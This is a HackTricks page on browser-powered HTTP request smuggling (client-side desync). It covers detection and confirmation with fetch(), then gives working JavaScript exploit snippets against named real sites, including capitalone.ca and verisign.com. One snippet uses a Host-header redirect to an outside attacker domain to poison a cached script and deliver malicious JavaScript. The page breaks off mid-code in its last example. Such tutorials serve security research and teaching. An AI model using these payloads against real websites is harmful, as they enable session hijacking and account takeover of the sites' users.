# Browser HTTP Request Smuggling
🎙️ HackTricks LIVE TwitchWednesdays 5.30pm (UTC) 🎙️ -🎥 Youtube 🎥
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
## CL.0/H2.0 browser-compatible desync
This vulnerability occurs when the **Content Length** (CL) header is being completely **ignored** by the **backend server**. Then, the back-end treats the **body** as the **start of the second request's method**. Ignoring the CL is equivalent to treating it as having a value of 0, so this is a CL.0 desync - a [known](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) but lesser-explored attack class.
![](<../../.gitbook/assets/image (3) (1) (2).png>)
The attack was possible because the back-end server simply **wasn't expecting a POST request**.
{% hint style="warning" %}
Note that this vulnerability is being **triggered** by a completely **valid**, specification-compliant **HTTP request**. This meant the **front-end has zero chance of protecting** against it, and it could even be triggered by a browser.
{% endhint %}
The only **difference** between **CL.0** and **H2.0** is that the second one is using **HTTP2** (which has an implicit content-length header) but the **backend isn't using that either**.
## Client-Side Desync
Traditional desync attacks **poison** the **connection** between a **front-end and back-end** server, and are therefore impossible on websites that don't use a front-end/back-end architecture. These are **server-side desync** from now on. Most **server-side desyncs** can only be triggered by a **custom HTTP client issuing a malformed request.**
The ability for a **browser to cause a desync** enables a whole new class of threat called **client-side desync** (CSD).\
A CSD attack starts with the **victim visiting the attacker's website**, which then makes their browser send **two cross-domain requests to the vulnerable website**. The **first** request is crafted to **desync the browser's connection** and make the **second request trigger** a harmful response, typically giving the attacker control of the victim's account.
### Detect
A CSD vector is a HTTP request with **two** **key** properties.
First, the **server must ignore the request's Content-Length (CL)**. This typically happens because the request either **triggered a server error**, or the server simply **wasn't expecting a POST request** to the chosen endpoint. Try targeting **static files** and **server-level redirects**, and triggering errors via **overlong-URLs**, and **semi-malformed** ones like /%2e%2e.
Secondly, the request must be **triggerable in a web-browser cross-domain**. Browsers severely restrict control over cross-domain requests, so you have limited control over headers, and if your request has a body you'll need to use the HTTP POST method. Ultimately you only **control** the **URL**, plus a few odds and ends like the **Referer header**, the **body**, and **latter part of the Content-Type.**
#### CL ignore testing
The way to test this missconfig is to **send 2 requests and smuggle one** in the **middle**. If the **smuggled** connection **affected** the response of the **second** **request**, it means that it's **vulnerable**:
![](<../../.gitbook/assets/image (1) (2) (2) (1).png>)
{% hint style="warning" %}
Note that you **cannot** test this vuln by just sending a **Content-Length bigger** than the one sent and **looking for a timeout** because some servers **respond** even if they **didn't receive the whole body**.
{% endhint %}
It's important to note whether the **target website supports HTTP**/2. CSD attacks typically exploit HTTP/1.1 connection reuse and web **browsers prefer to use HTTP/2** whenever possible, so if the target **website supports HTTP/2 your attacks are unlikely to work**. There's one **exception**; some **forward proxies don't support HTTP/2** so you can exploit anyone using them. This includes corporate proxies, certain intrusive VPNs and even some security tools.
### Confirm
First, select a site to launch the attack from. This site must be **accessed over HTTPS** and located on a **different domain than the target**.
Next, ensure that you **don't have a proxy configured**, then browse to your attack site. Open the **developer tools** and switch to the **Network tab**. To help with debugging potential issues later, I recommend making the following adjustments:
* Select the **"Preserve log"** checkbox.
* Right-click on the column headers and **enable the "Connection ID" column**.
Switch to the developer console and execute JavaScript to replicate your attack sequence using fetch(). This may look something like:
```javascript
fetch('https://example.com/', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
mode: 'no-cors', // ensure connection ID is visible
credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
location = 'https://example.com/' // use the poisoned connection
})
```
I've set the fetch mode **'no-cors'** to ensure Chrome **displays the connection ID** in the Network tab. I've also set **credentials: 'include'** as Chrome has [**two separate connection pools**](https://www.chromium.org/developers/design-documents/network-stack/preconnect) - one for requests with cookies and one for requests without. You'll usually want to exploit **navigations**, and those **use the 'with-cookies' pool**, so it's worth getting into the habit of always poisoning that pool.
When you execute this, you should see **two requests** in the Network tab with the **same connection ID**, and the **second** one should trigger a **404**:
![](<../../.gitbook/assets/image (158) (2).png>)
If this works as expected, congratulations - you've found yourself a client-side desync!
### Exploitation - Store
One option is to identify functionality on the target site that lets you **store text data**, and craft the prefix so that your victim's cookies, authentication headers, or password end up being **stored somewhere you can retrieve them**. This attack flow works [almost identically to server-side request smuggling](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), so I won't dwell on it.
### Exploitation - **Chain\&pivot**
Under normal circumstances, many classes of **server-side attack** can only be launched by an attacker with direct access to the target website as they **rely on HTTP requests that browsers refuse to send**, like **tampering** with **HTTP headers** - web cache poisoning, most server-side request smuggling, host-header attacks, User-Agent based [SQLi](https://portswigger.net/web-security/sql-injection), CSRF JSON Content-type and numerous others.
The simplest path to a successful attack came from two key techniques usually used for server-side desync attacks: [**JavaScript resource poisoning via Host-header redirects**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), and using the [**HEAD method**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) to splice together a response with harmful HTML. Both techniques needed to be **adapted** to overcome some novel challenges associated with operating in the **victim's browser**.
## Exploit Examples
### Stacked HEAD example
* **Coloured exploit**
![](<../../.gitbook/assets/image (2) (3).png>)
* **JS exploit**
```javascript
fetch('https://www.capitalone.ca/assets', {
method: 'POST',
// use a cache-buster to delay the response
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x= HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
location = 'https://www.capitalone.ca/'
})va
```
Explanation:
* **Abuse of CL.0** in /assets (it redirects to /assets/ and doesn't check the CL)
* **Smuggle** a **HEAD** request (because HEAD responses still contains a content-length)
* **Smuggle** a **GET** request whose **content** is going be **reflected** in the response with the payload.
* Because of the **content-length of the HEAD** req, the **response** of this request will be the **body of the HEAD req**
* Set **cors mode**. Normally this isn't done, but in this case the **response** of the server to de **initial** **POST** is a **redirect** that if **followed** the **exploit won't work**. Therefore, **cors mode** is used to **trigger** an **error** and **redirect** the victim with the **`catch`**.
### **Host header redirect + client-side cache poisoning**
* **JS exploit**
```javascript
fetch('https://redacted/', {
method: 'POST',
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
```
* A request to `/+webvpn+/` with a **different domain in the Host header** is answered with a **redirect** to `/+webvpn+/index.html` to that **domain** inside the Host header.
* The location in the **second** request is set to `/+CSCOE+/win.js` in order to **poison** the **cache** of that `.js` file.
* This request will be answered with the redirect of `/+webvpn+/` to the attackers domain with path`/+webvpn+/index.html`
* The **cache** of **`win.js`** will be **poisoned** with a **redirect** to the **attackers** page, but also the **victim** will **follow** the redirect as it was assigned in the `location` variable and will end in the attackers web page.
* The attacker will then **redirect** the **victim** to `https://redacted/+CSCOE+/logon.html`. This page will import `/+CSCOE+/win.js`. Whose **cache is a redirect** to the **attackers** server, therefore, the attacker can **respond with a malicious JS**.
The **victim** will **access** the page of the **attacker** **twice**, the first one it **expects a HTML** that redirect the victim back to `https://redacted/+CSCOE+/logon.html` and the second one it **expects javascript code** (the payload). A polyglot can be used to serve both responses in just one:
```
HTTP/1.1 200 OK
Content-Type: text/html
alert('oh dear')/**/
```
### HEAD payload with chunked TE
When looking for CSD you can also **test semi-malformed** URLs like `/..%2f` or `/%2f`.
* **Coloured Exploit**
![](<../../.gitbook/assets/image (5) (2) (1).png>)
* **JS Exploit**
```javascript
fetch('https://www.verisign.com/%2f', {
method: 'POST',
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
let form = document.createElement('form')
form.method = 'POST'
form.action = 'https://www.verisign.com/robots.txt'
form.enctype = 'text/plain'
let input = document.createElement('input')
input.name = '0\r\n\r\nGET /